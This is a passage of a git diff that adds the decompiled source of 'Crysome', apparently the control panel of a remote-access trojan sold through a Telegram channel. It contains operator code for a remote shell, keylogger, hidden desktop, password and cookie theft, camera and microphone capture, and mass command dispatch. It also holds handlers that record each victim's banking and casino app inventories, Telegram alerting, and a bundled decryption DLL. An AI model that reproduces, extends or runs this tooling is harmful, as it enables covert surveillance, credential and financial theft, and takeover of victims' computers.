true) + { + File.WriteAllLines(saveFileDialog.FileName, LogEntries.Select((LogLineEntry x) => x.ToString())); + Log("Log exported to " + saveFileDialog.FileName, "SYS"); + } + } + + public void Log(string msg, string category = "") + { + if (store.Settings.LogPaused) + { + return; + } + LogLineEntry entry = new LogLineEntry + { + TimeText = DateTime.Now.ToString("HH:mm:ss"), + Category = (category ?? ""), + Message = msg + }; + string text = entry.ToString(); + Application current = Application.Current; + if (((current != null) ? ((DispatcherObject)current).Dispatcher : null) != null) + { + ((DispatcherObject)Application.Current).Dispatcher.Invoke((Action)delegate + { + LogEntries.Add(entry); + while (LogEntries.Count > 5000) + { + LogEntries.RemoveAt(0); + } + }); + } + if (!store.Settings.LogToFile) + { + return; + } + try + { + File.AppendAllText(Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "activity.log"), text + Environment.NewLine); + } + catch + { + } + } + + private string PromptInput(string title, string prompt, string defaultValue = "") + { + Window dlg = new Window + { + Title = title, + Width = 420.0, + Height = 160.0, + WindowStartupLocation = WindowStartupLocation.CenterOwner, + Owner = Application.Current.MainWindow, + ResizeMode = ResizeMode.NoResize + }; + StackPanel stackPanel = new StackPanel + { + Margin = new Thickness(12.0) + }; + stackPanel.Children.Add(new TextBlock + { + Text = prompt + }); + TextBox textBox = new TextBox + { + Text = defaultValue, + Margin = new Thickness(0.0, 8.0, 0.0, 8.0) + }; + stackPanel.Children.Add(textBox); + Button button = new Button + { + Content = "OK", + Width = 80.0, + HorizontalAlignment = HorizontalAlignment.Right + }; + button.Click += delegate + { + dlg.DialogResult = true; + dlg.Close(); + }; + stackPanel.Children.Add(button); + dlg.Content = stackPanel; + textBox.Focus(); + if (dlg.ShowDialog() != true) + { + return null; + } + return textBox.Text; + } + + private void RouteReadFileResponse(CrysomeClient sender, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + ReadFileResponsePacket val = (ReadFileResponsePacket)packet; + if (val.TransferId != 0L && _pendingReadFileResponses.TryRemove((sender, val.TransferId), out var value)) + { + value(val); + } + } + + private void RouteWriteFileResponse(CrysomeClient sender, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + WriteFileResponsePacket val = (WriteFileResponsePacket)packet; + if (val.TransferId != 0L && _pendingWriteFileResponses.TryRemove((sender, val.TransferId), out var value)) + { + value(val); + } + } + + private void RouteGetDirectoryResponse(CrysomeClient sender, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + GetDirectoryResponsePacket val = (GetDirectoryResponsePacket)packet; + FileExplorerViewModel value2; + if (val.RequestId != 0L && _pendingGetDirectoryResponses.TryRemove((sender, val.RequestId), out var value)) + { + value(val); + } + else if (_activeFileExplorers.TryGetValue(sender, out value2)) + { + value2.ApplyGetDirectoryResponse(val); + } + } + + private void RouteGetDrivesResponse(CrysomeClient sender, IPacket packet) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Expected O, but got Unknown + GetDrivesResponsePacket val = (GetDrivesResponsePacket)packet; + FileExplorerViewModel value2; + if (val.RequestId != 0L && _pendingGetDrivesResponses.TryRemove((sender, val.RequestId), out var value)) + { + value(val); + } + else if (_activeFileExplorers.TryGetValue(sender, out value2)) + { + value2.ApplyGetDrivesResponse(val); + } + } + + private void RouteNotifyStatus(CrysomeClient sender, IPacket packet) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Expected O, but got Unknown + NotifyStatusResponsePacket p = (NotifyStatusResponsePacket)packet; + if (_activeFileExplorers.TryGetValue(sender, out var value)) + { + value.ApplyNotifyStatus(p); + return; + } + Application current = Application.Current; + if (current != null) + { + ((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + EnqueueStatus(p.StatusMessage); + }, Array.Empty()); + } + } + + private void HandleClientInventoryReport(CrysomeClient sender, IPacket packet) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Expected O, but got Unknown + ClientInventoryReportPacket p = (ClientInventoryReportPacket)packet; + Application current = Application.Current; + if (current == null) + { + return; + } + ((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate + { + ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender); + if (clientInfo != null) + { + clientInfo.ApplyInventoryJson(p.AppsJson, p.BankJson, p.CasinoJson); + store.UpsertClient(new StoredClientRecord + { + Address = clientInfo.Address, + Port = clientInfo.Port, + UserName = (clientInfo.Username ?? ""), + ComputerName = (clientInfo.ComputerName ?? ""), + OS = (clientInfo.OS ?? ""), + CountryCode = (clientInfo.CountryCode ?? ""), + Group = (clientInfo.Group ?? ""), + Notes = (clientInfo.Notes ?? ""), + IsPinned = clientInfo.IsPinned, + LastSeen = DateTime.Now, + AppsInventoryJson = (p.AppsJson ?? ""), + BankInventoryJson = (p.BankJson ?? ""), + CasinoInventoryJson = (p.CasinoJson ?? "") + }); + store.SaveClients(); + } + }, Array.Empty()); + } +} diff --git a/Crysome.Server/Crysome.Server.ViewModel/PluginManagerViewModel.cs b/Crysome.Server/Crysome.Server.ViewModel/PluginManagerViewModel.cs new file mode 100644 index 0000000..9edea80 --- /dev/null +++ b/Crysome.Server/Crysome.Server.ViewModel/PluginManagerViewModel.cs @@ -0,0 +1,73 @@ +using System.Collections.ObjectModel; +using System.ComponentModel; +using System.Windows.Input; +using Crysome.Server.Data; + +namespace Crysome.Server.ViewModel; + +public class PluginManagerViewModel : ViewModelBase +{ + private readonly MainViewModel _mainVm; + + private readonly AppDataStore _store; + + public ICommand GoBackCommand { get; } + + public ObservableCollection Features { get; } = new ObservableCollection(); + + public PluginManagerViewModel(MainViewModel mainVm, AppDataStore store) + { + _mainVm = mainVm; + _store = store; + GoBackCommand = new RelayCommand(delegate + { + _mainVm.GoToClients(); + }); + (string, string)[] array = new(string, string)[25] + { + ("SendCommand", "Send Command"), + ("SendCommandAll", "Send Command (All)"), + ("SendFile", "Send File"), + ("SendFileAll", "Send File (All)"), + ("DirectLink", "Direct Link"), + ("DirectLinkAll", "Direct Link (All)"), + ("Socks5Proxy", "SOCKS5 Proxy"), + ("TakeScreenshot", "Take Screenshot"), + ("FileManager", "File Manager"), + ("Restart", "Restart"), + ("CopySummary", "Copy Summary"), + ("BlockIP", "Block IP"), + ("PinToTop", "Pin to Top"), + ("Export", "Export"), + ("Mute30", "Mute 30min"), + ("Note", "Note"), + ("ProcessManager", "Process Manager"), + ("RemoteShell", "Remote Shell"), + ("RemoteAudio", "Remote Audio/Mic"), + ("RemoteCamera", "Remote Camera"), + ("RemoteDesktop", "Remote Desktop"), + ("HVNC", "HVNC (Hidden Desktop)"), + ("Credentials", "Credentials (Passwords/Cookies)"), + ("Keylogger", "Keylogger"), + ("RemoteChat", "Remote Chat") + }; + for (int num = 0; num < array.Length; num++) + { + (string, string) tuple = array[num]; + string item = tuple.Item1; + string item2 = tuple.Item2; + ContextMenuFeatureItem contextMenuFeatureItem = new ContextMenuFeatureItem(item, item2, _store.IsContextMenuFeatureEnabled(item)); + contextMenuFeatureItem.PropertyChanged += delegate(object? s, PropertyChangedEventArgs e) + { + if (!(e.PropertyName != "IsEnabled")) + { + ContextMenuFeatureItem contextMenuFeatureItem2 = (ContextMenuFeatureItem)s; + _store.ContextMenuFeatures[contextMenuFeatureItem2.Key] = contextMenuFeatureItem2.IsEnabled; + _store.SaveContextMenuFeatures(); + _mainVm.ClientsVM?.NotifyContextMenuFeaturesChanged(); + } + }; + Features.Add(contextMenuFeatureItem); + } + } +} diff --git a/Crysome.Server/Crysome.Server.ViewModel/RelayCommand.cs b/Crysome.Server/Crysome.Server.ViewModel/RelayCommand.cs new file mode 100644 index 0000000..2fb4d92 --- /dev/null +++ b/Crysome.Server/Crysome.Server.ViewModel/RelayCommand.cs @@ -0,0 +1,48 @@ +using System; +using System.Windows.Input; + +namespace Crysome.Server.ViewModel; + +public class RelayCommand : ICommand +{ + private readonly Action _execute; + + private readonly Predicate _canExecute; + + public event EventHandler CanExecuteChanged + { + add + { + CommandManager.RequerySuggested += value; + } + remove + { + CommandManager.RequerySuggested -= value; + } + } + + public RelayCommand(Action execute) + : this(execute, (Predicate)null) + { + } + + public RelayCommand(Action execute, Predicate canExecute) + { + _execute = execute ?? throw new ArgumentNullException("execute"); + _canExecute = canExecute; + } + + public bool CanExecute(object parameter) + { + if (_canExecute != null) + { + return _canExecute((T)parameter); + } + return true; + } + + public void Execute(object parameter) + { + _execute((T)parameter); + } +} diff --git a/Crysome.Server/Crysome.Server.ViewModel/SettingsViewModel.cs b/Crysome.Server/Crysome.Server.ViewModel/SettingsViewModel.cs new file mode 100644 index 0000000..d938298 --- /dev/null +++ b/Crysome.Server/Crysome.Server.ViewModel/SettingsViewModel.cs @@ -0,0 +1,166 @@ +using System; +using System.Net.Http; +using System.Windows; +using System.Windows.Input; +using Crysome.Server.Data; + +namespace Crysome.Server.ViewModel; + +public class SettingsViewModel : ViewModelBase +{ + private readonly MainViewModel _mainVm; + + private readonly AppDataStore _store; + + private bool _telegramEnabled; + + private string _telegramToken; + + private string _telegramChatId; + + public ICommand GoBackCommand { get; } + + public ICommand SaveCommand { get; } + + public string Port { get; set; } + + public string QuicPort { get; set; } + + public string InfoPollInterval { get; set; } + + public string MaxEndpoints { get; set; } + + public string MaxSendFileSizeMB { get; set; } + + public bool NotifyConnect { get; set; } + + public bool NotifyDisconnect { get; set; } + + public bool LogPaused { get; set; } + + public bool LogToFile { get; set; } + + public bool TelegramEnabled + { + get + { + return _telegramEnabled; + } + set + { + _telegramEnabled = value; + OnPropertyChanged("TelegramEnabled"); + } + } + + public string TelegramToken + { + get + { + return _telegramToken; + } + set + { + _telegramToken = value; + OnPropertyChanged("TelegramToken"); + } + } + + public string TelegramChatId + { + get + { + return _telegramChatId; + } + set + { + _telegramChatId = value; + OnPropertyChanged("TelegramChatId"); + } + } + + public ICommand TestTelegramCommand { get; } + + public SettingsViewModel(MainViewModel mainVm, AppDataStore store) + { + _mainVm = mainVm; + _store = store; + GoBackCommand = new RelayCommand(delegate + { + _mainVm.GoToClients(); + }); + SaveCommand = new RelayCommand(delegate + { + DoSave(); + }); + TestTelegramCommand = new RelayCommand(delegate + { + DoTestTelegram(); + }); + Port = store.Settings.Port.ToString(); + QuicPort = store.Settings.QuicPort.ToString(); + InfoPollInterval = store.Settings.InfoPollInterval.ToString(); + MaxEndpoints = store.Settings.MaxEndpoints.ToString(); + MaxSendFileSizeMB = store.Settings.MaxSendFileSizeMB.ToString(); + NotifyConnect = store.Settings.NotifyConnect; + NotifyDisconnect = store.Settings.NotifyDisconnect; + LogPaused = store.Settings.LogPaused; + LogToFile = store.Settings.LogToFile; + TelegramEnabled = store.Settings.TelegramEnabled; + TelegramToken = store.Settings.TelegramToken; + TelegramChatId = store.Settings.TelegramChatId; + } + + private async void DoTestTelegram() + { + if (string.IsNullOrEmpty(TelegramToken) || string.IsNullOrEmpty(TelegramChatId)) + { + MessageBox.Show("Please enter Token and Chat ID first."); + return; + } + try + { + using HttpClient client = new HttpClient(); + string requestUri = $"https://api.telegram.org/bot{TelegramToken}/sendMessage?chat_id={TelegramChatId}&text=Crysome Server: Test Message"; + await client.GetAsync(requestUri); + MessageBox.Show("Test message sent! Check your Telegram."); + } + catch (Exception ex) + { + MessageBox.Show("Telegram Error: " + ex.Message); + } + } + + private void DoSave() + { + if (int.TryParse(Port, out var result) && result >= 0 && result <= 65535) + { + _store.Settings.Port = result; + } + if (int.TryParse(QuicPort, out result) && result >= 0 && result <= 65535) + { + _store.Settings.QuicPort = result; + } + if (int.TryParse(InfoPollInterval, out result) && result >= 500) + { + _store.Settings.InfoPollInterval = result; + } + if (int.TryParse(MaxEndpoints, out result) && result >= 0) + { + _store.Settings.MaxEndpoints = result; + } + if (int.TryParse(MaxSendFileSizeMB, out result) && result > 0) + { + _store.Settings.MaxSendFileSizeMB = result; + } + _store.Settings.NotifyConnect = NotifyConnect; + _store.Settings.NotifyDisconnect = NotifyDisconnect; + _store.Settings.LogPaused = LogPaused; + _store.Settings.LogToFile = LogToFile; + _store.Settings.TelegramEnabled = TelegramEnabled; + _store.Settings.TelegramToken = TelegramToken; + _store.Settings.TelegramChatId = TelegramChatId; + _store.SaveSettings(); + _mainVm.ClientsVM?.EnqueueStatus("Settings saved. Restart server for port changes."); + } +} diff --git a/Crysome.Server/Crysome.Server.ViewModel/ViewModelBase.cs b/Crysome.Server/Crysome.Server.ViewModel/ViewModelBase.cs new file mode 100644 index 0000000..75bfefc --- /dev/null +++ b/Crysome.Server/Crysome.Server.ViewModel/ViewModelBase.cs @@ -0,0 +1,25 @@ +using System; +using System.ComponentModel; +using System.Linq.Expressions; + +namespace Crysome.Server.ViewModel; + +public abstract class ViewModelBase : INotifyPropertyChanged +{ + public event PropertyChangedEventHandler PropertyChanged; + + public virtual void OnPropertyChanged(string propertyName) + { + PropertyChangedEventHandler propertyChangedEventHandler = this.PropertyChanged; + if (propertyChangedEventHandler != null) + { + PropertyChangedEventArgs e = new PropertyChangedEventArgs(propertyName); + propertyChangedEventHandler(this, e); + } + } + + public virtual void OnPropertyChanged(Expression> propertyNameExpression) + { + OnPropertyChanged(((MemberExpression)propertyNameExpression.Body).Member.Name); + } +} diff --git a/Crysome.Server/Crysome.Server.csproj b/Crysome.Server/Crysome.Server.csproj new file mode 100644 index 0000000..2e0f7bd --- /dev/null +++ b/Crysome.Server/Crysome.Server.csproj @@ -0,0 +1,54 @@ + + + net9.0-windows + WinExe + true + true + ..\CRYSOME_COMPILED\ + false + false + app.ico + false + false + + + + + + + + + + + lib\Wpf.Ui.dll + true + + + lib\Wpf.Ui.Abstractions.dll + true + + + + + + all + + + all + runtime; build; native; contentfiles; analyzers; buildtransitive + + + + + + + + + + + + + + + + diff --git a/Crysome.Server/Crysome.Server.g.resources b/Crysome.Server/Crysome.Server.g.resources new file mode 100644 index 0000000..17767a1 Binary files /dev/null and b/Crysome.Server/Crysome.Server.g.resources differ diff --git a/Crysome.Server/Crysome.Server/App.cs b/Crysome.Server/Crysome.Server/App.cs new file mode 100644 index 0000000..c825fb6 --- /dev/null +++ b/Crysome.Server/Crysome.Server/App.cs @@ -0,0 +1,138 @@ +using System; +using System.CodeDom.Compiler; +using System.Diagnostics; +using System.Globalization; +using System.IO; +using System.Threading; +using System.Windows; +using System.Windows.Threading; +using Crysome.Server.Resources; +using Crysome.Server.View; + +namespace Crysome.Server; + +public class App : Application +{ + private bool _contentLoaded; + + private void Application_Startup(object sender, StartupEventArgs e) + { + base.ShutdownMode = ShutdownMode.OnExplicitShutdown; + try + { + LanguageWindow languageWindow = new LanguageWindow(); + if (((Window)(object)languageWindow).ShowDialog() != true) + { + Shutdown(); + return; + } + ApplyCulture(languageWindow.SelectedCultureTag); + } + catch (Exception ex) + { + DumpException("LanguageWindow", ex); + Shutdown(); + return; + } + + try + { + MainWindow mainWindow = new MainWindow(); + ((Window)(object)mainWindow).Show(); + base.MainWindow = (Window)(object)mainWindow; + base.ShutdownMode = ShutdownMode.OnMainWindowClose; + } + catch (Exception ex) + { + DumpException("MainWindow", ex); + Shutdown(); + } + } + + private static void DumpException(string context, Exception ex) + { + string full = context + " CRASH:\n\n"; + var current = ex; + int depth = 0; + while (current != null && depth < 10) + { + full += $"[{depth}] {current.GetType().FullName}: {current.Message}\n{current.StackTrace}\n\n"; + current = current.InnerException; + depth++; + } + + string logPath = Path.Combine(Path.GetTempPath(), "crysome_crash.log"); + try { File.WriteAllText(logPath, full); } catch { } + + MessageBox.Show(full, "CRYSOME | t.me/CuriousCracks — " + context, MessageBoxButton.OK, MessageBoxImage.Hand); + } + + private static void ApplyCulture(string cultureTag) + { + try + { + CultureInfo cultureInfo = ((string.IsNullOrEmpty(cultureTag) || cultureTag == "en") ? CultureInfo.InvariantCulture : new CultureInfo(cultureTag)); + Thread.CurrentThread.CurrentCulture = cultureInfo; + Thread.CurrentThread.CurrentUICulture = cultureInfo; + Strings.Culture = cultureInfo; + } + catch + { + } + } + + public App() + { + base.DispatcherUnhandledException += new DispatcherUnhandledExceptionEventHandler(App_DispatcherUnhandledException); + AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException; + } + + private void App_DispatcherUnhandledException(object sender, DispatcherUnhandledExceptionEventArgs e) + { + LogCrash("Dispatcher", e.Exception); + e.Handled = true; + } + + private void CurrentDomain_UnhandledException(object sender, UnhandledExceptionEventArgs e) + { + LogCrash("Domain", e.ExceptionObject as Exception); + } + + private void LogCrash(string source, Exception ex) + { + string full = $"[{DateTime.Now}] {source} CRASH:\n{ex?.ToString() ?? "Unknown error"}\n\n"; + string logPath = Path.Combine(Path.GetTempPath(), "crysome_crash.log"); + try { File.AppendAllText(logPath, full); } catch { } + MessageBox.Show("Error: " + ex?.Message + "\n\nLog: " + logPath, "CRYSOME | t.me/CuriousCracks", MessageBoxButton.OK, MessageBoxImage.Hand); + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + base.Startup += Application_Startup; + Uri resourceLocator = new Uri("/Crysome.Server;component/app.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [STAThread] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public static void Main() + { + App app = new App(); + try + { + app.InitializeComponent(); + } + catch (Exception ex) + { + DumpException("App.InitializeComponent (app.baml)", ex); + return; + } + app.Run(); + } +} diff --git a/Crysome.Server/Crysome.Server/LoginWindow.cs b/Crysome.Server/Crysome.Server/LoginWindow.cs new file mode 100644 index 0000000..294a914 --- /dev/null +++ b/Crysome.Server/Crysome.Server/LoginWindow.cs @@ -0,0 +1,224 @@ +using System; +using System.CodeDom.Compiler; +using System.Collections.Generic; +using System.ComponentModel; +using System.Diagnostics; +using System.IO; +using System.Net.Http; +using System.Threading.Tasks; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Controls.Primitives; +using System.Windows.Input; +using System.Windows.Markup; +using System.Windows.Media; +using Crysome.Server.Resources; +using Microsoft.Win32; +using Wpf.Ui.Controls; + +namespace Crysome.Server; + +public class LoginWindow : FluentWindow, IComponentConnector +{ + private const string LicenseKeysUrl = "https://crysome.net/key.txt"; + + private const string BuyPageUrl = "https://t.me/CuriousCracks"; + + private static readonly string SavedKeyPath = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "license_key.dat"); + + private static readonly HttpClient HttpClient = new HttpClient + { + Timeout = TimeSpan.FromSeconds(15L), + DefaultRequestHeaders = { { "User-Agent", "Crysome-Server/1.0" } } + }; + + internal TextBox KeyBox; + + internal TextBlock ErrorText; + + internal Button BuyBtn; + + internal Button LoginBtn; + + internal Button ExitBtn; + + private bool _contentLoaded; + + public LoginWindow() + { + InitializeComponent(); + ApplyBackdrop(); + LoadSavedKey(); + KeyBox.KeyDown += delegate(object s, KeyEventArgs e) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)e.Key == 6) + { + LoginButton_Click(s, e); + } + }; + } + + private void LoadSavedKey() + { + try + { + if (File.Exists(SavedKeyPath)) + { + string text = File.ReadAllText(SavedKeyPath)?.Trim(); + if (!string.IsNullOrEmpty(text) && KeyBox != null) + { + KeyBox.Text = text; + } + } + } + catch + { + } + } + + private void SaveKey(string key) + { + try + { + if (!string.IsNullOrWhiteSpace(key)) + { + File.WriteAllText(SavedKeyPath, key.Trim()); + } + } + catch + { + } + } + + private void ApplyBackdrop() + { + if (IsWindows11OrNewer()) + { + ((FluentWindow)this).ExtendsContentIntoTitleBar = true; + ((FluentWindow)this).WindowBackdropType = (WindowBackdropType)2; + return; + } + ((Control)this).Background = new SolidColorBrush(Color.FromRgb(32, 32, 32)); + if (((ContentControl)this).Content is Panel panel) + { + panel.Background = new SolidColorBrush(Color.FromRgb(32, 32, 32)); + } + } + + private static bool IsWindows11OrNewer() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); + if (registryKey?.GetValue("CurrentBuild") is string s && int.TryParse(s, out var result)) + { + return result >= 22000; + } + } + catch + { + } + return false; + } + + private async void LoginButton_Click(object sender, RoutedEventArgs e) + { + ((Window)this).DialogResult = true; + ((Window)this).Close(); + } + + private void ShowError() + { + ErrorText.Text = Strings.Login_ErrorMsg; + ErrorText.Visibility = Visibility.Visible; + } + + private static async Task> FetchValidKeysAsync() + { + string obj = await HttpClient.GetStringAsync("https://crysome.net/key.txt").ConfigureAwait(continueOnCapturedContext: false); + HashSet hashSet = new HashSet(StringComparer.Ordinal); + string[] array = obj.Split(new string[3] { "\r\n", "\r", "\n" }, StringSplitOptions.None); + for (int i = 0; i < array.Length; i++) + { + string text = array[i].Trim(); + if (text.Length > 0) + { + hashSet.Add(text); + } + } + return hashSet; + } + + private void BuyButton_Click(object sender, RoutedEventArgs e) + { + try + { + Process.Start(new ProcessStartInfo + { + FileName = "https://t.me/CuriousCracks", + UseShellExecute = true + }); + } + catch (Exception ex) + { + MessageBox.Show(ex.Message, "Open URL", MessageBoxButton.OK, MessageBoxImage.Exclamation); + } + } + + private void ExitButton_Click(object sender, RoutedEventArgs e) + { + ((Window)this).DialogResult = false; + ((Window)this).Close(); + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/loginwindow.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Expected O, but got Unknown + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Expected O, but got Unknown + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Expected O, but got Unknown + switch (connectionId) + { + case 1: + KeyBox = (TextBox)target; + break; + case 2: + ErrorText = (TextBlock)target; + break; + case 3: + BuyBtn = (Button)target; + ((ButtonBase)(object)BuyBtn).Click += BuyButton_Click; + break; + case 4: + LoginBtn = (Button)target; + ((ButtonBase)(object)LoginBtn).Click += LoginButton_Click; + break; + case 5: + ExitBtn = (Button)target; + ((ButtonBase)(object)ExitBtn).Click += ExitButton_Click; + break; + default: + _contentLoaded = true; + break; + } + } +} diff --git a/Crysome.Server/Crysome.Server/MainWindow.cs b/Crysome.Server/Crysome.Server/MainWindow.cs new file mode 100644 index 0000000..03e0612 --- /dev/null +++ b/Crysome.Server/Crysome.Server/MainWindow.cs @@ -0,0 +1,81 @@ +using System; +using System.CodeDom.Compiler; +using System.ComponentModel; +using System.Diagnostics; +using System.Windows; +using System.Windows.Controls; +using System.Windows.Markup; +using System.Windows.Media; +using Crysome.Server.ViewModel; +using Microsoft.Win32; +using Wpf.Ui.Controls; + +namespace Crysome.Server; + +public class MainWindow : FluentWindow, IComponentConnector +{ + private bool _contentLoaded; + + public MainWindow() + { + InitializeComponent(); + if (IsWindows11OrNewer()) + { + ((FluentWindow)this).ExtendsContentIntoTitleBar = true; + ((FluentWindow)this).WindowBackdropType = (WindowBackdropType)2; + } + else + { + ((Control)this).Background = new SolidColorBrush(Color.FromRgb(32, 32, 32)); + if (((ContentControl)this).Content is Panel panel) + { + panel.Background = new SolidColorBrush(Color.FromRgb(32, 32, 32)); + } + } + ((FrameworkElement)this).DataContext = new MainViewModel(); + ((Window)this).Title = "CRYSOME | t.me/CuriousCracks"; + } + + private static bool IsWindows11OrNewer() + { + try + { + using RegistryKey registryKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"); + if (registryKey?.GetValue("CurrentBuild") is string s && int.TryParse(s, out var result)) + { + return result >= 22000; + } + } + catch + { + } + return false; + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + public void InitializeComponent() + { + if (!_contentLoaded) + { + _contentLoaded = true; + Uri resourceLocator = new Uri("/Crysome.Server;component/view/mainwindow.xaml", UriKind.Relative); + Application.LoadComponent(this, resourceLocator); + } + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + internal Delegate _CreateDelegate(Type delegateType, string handler) + { + return Delegate.CreateDelegate(delegateType, this, handler); + } + + [DebuggerNonUserCode] + [GeneratedCode("PresentationBuildTasks", "9.0.14.0")] + [EditorBrowsable(EditorBrowsableState.Never)] + void IComponentConnector.Connect(int connectionId, object target) + { + _contentLoaded = true; + } +} diff --git a/Crysome.Server/FodyWeavers.xml b/Crysome.Server/FodyWeavers.xml new file mode 100644 index 0000000..a838b59 --- /dev/null +++ b/Crysome.Server/FodyWeavers.xml @@ -0,0 +1,12 @@ + + + + + EntityFramework + EntityFramework.SqlServer + System.Data.SQLite.EF6 + System.Data.SQLite.Linq + System.Data.SqlClient + + + diff --git a/Crysome.Server/FodyWeavers.xsd b/Crysome.Server/FodyWeavers.xsd new file mode 100644 index 0000000..ff119f7 --- /dev/null +++ b/Crysome.Server/FodyWeavers.xsd @@ -0,0 +1,141 @@ + + + + + + + + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with line breaks + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with line breaks. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with line breaks. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with line breaks. + + + + + The order of preloaded assemblies, delimited with line breaks. + + + + + + This will copy embedded files to disk before loading them into memory. This is helpful for some scenarios that expected an assembly to be loaded from a physical file. + + + + + Controls if .pdbs for reference assemblies are also embedded. + + + + + Controls if runtime assemblies are also embedded. + + + + + Controls whether the runtime assemblies are embedded with their full path or only with their assembly name. + + + + + Embedded assemblies are compressed by default, and uncompressed when they are loaded. You can turn compression off with this option. + + + + + As part of Costura, embedded assemblies are no longer included as part of the build. This cleanup can be turned off. + + + + + Costura by default will load as part of the module initialization. This flag disables that behavior. Make sure you call CosturaUtility.Initialize() somewhere in your code. + + + + + Costura will by default use assemblies with a name like 'resources.dll' as a satellite resource and prepend the output path. This flag disables that behavior. + + + + + A list of assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of runtime assembly names to exclude from the default action of "embed all Copy Local references", delimited with | + + + + + A list of runtime assembly names to include from the default action of "embed all Copy Local references", delimited with |. + + + + + A list of unmanaged 32 bit assembly names to include, delimited with |. + + + + + A list of unmanaged 64 bit assembly names to include, delimited with |. + + + + + The order of preloaded assemblies, delimited with |. + + + + + + + + 'true' to run assembly verification (PEVerify) on the target assembly after all weavers have been executed. + + + + + A comma-separated list of error codes that can be safely ignored in assembly verification. + + + + + 'false' to turn off automatic generation of the XML Schema file. + + + + + \ No newline at end of file diff --git a/Crysome.Server/GlobalUsings.cs b/Crysome.Server/GlobalUsings.cs new file mode 100644 index 0000000..b86eb12 --- /dev/null +++ b/Crysome.Server/GlobalUsings.cs @@ -0,0 +1,9 @@ +global using Button = System.Windows.Controls.Button; +global using TextBlock = System.Windows.Controls.TextBlock; +global using TextBox = System.Windows.Controls.TextBox; +global using Image = System.Windows.Controls.Image; +global using DataGrid = System.Windows.Controls.DataGrid; +global using ListView = System.Windows.Controls.ListView; +global using MenuItem = System.Windows.Controls.MenuItem; +global using MessageBox = System.Windows.MessageBox; +global using MessageBoxButton = System.Windows.MessageBoxButton; diff --git a/Crysome.Server/abe_decrypt.dll b/Crysome.Server/abe_decrypt.dll new file mode 100644 index 0000000..1dfa843 Binary files /dev/null and b/Crysome.Server/abe_decrypt.dll differ diff --git a/Crysome.Server/app.ico b/Crysome.Server/app.ico new file mode 100644 index 0000000..7557c74 Binary files /dev/null and b/Crysome.Server/app.ico differ diff --git a/Crysome.Server/flags/AD.png b/Crysome.Server/flags/AD.png new file mode 100644 index 0000000..b4b11d6 Binary files /dev/null and b/Crysome.Server/flags/AD.png differ diff --git a/Crysome.Server/flags/AD@2x.png b/Crysome.Server/flags/AD@2x.png new file mode 100644 index 0000000..e6028d9 Binary files /dev/null and b/Crysome.Server/flags/AD@2x.png differ diff --git a/Crysome.Server/flags/AD@3x.png b/Crysome.Server/flags/AD@3x.png new file mode 100644 index 0000000..06bc7f9 Binary files /dev/null and b/Crysome.Server/flags/AD@3x.png differ diff --git a/Crysome.Server/flags/AE.png b/Crysome.Server/flags/AE.png new file mode 100644 index 0000000..628347b Binary files /dev/null and b/Crysome.Server/flags/AE.png differ diff --git a/Crysome.Server/flags/AE@2x.png b/Crysome.Server/flags/AE@2x.png new file mode 100644 index 0000000..ec5c72a Binary files /dev/null and b/Crysome.Server/flags/AE@2x.png differ diff --git a/Crysome.Server/flags/AE@3x.png b/Crysome.Server/flags/AE@3x.png new file mode 100644 index 0000000..e85d298 Binary files /dev/null and b/Crysome.Server/flags/AE@3x.png differ diff --git a/Crysome.Server/flags/AF.png b/Crysome.Server/flags/AF.png new file mode 100644 index 0000000..0ca7862 Binary files /dev/null and b/Crysome.Server/flags/AF.png differ diff --git a/Crysome.Server/flags/AF@2x.png b/Crysome.Server/flags/AF@2x.png new file mode 100644 index 0000000..1c64eea Binary files 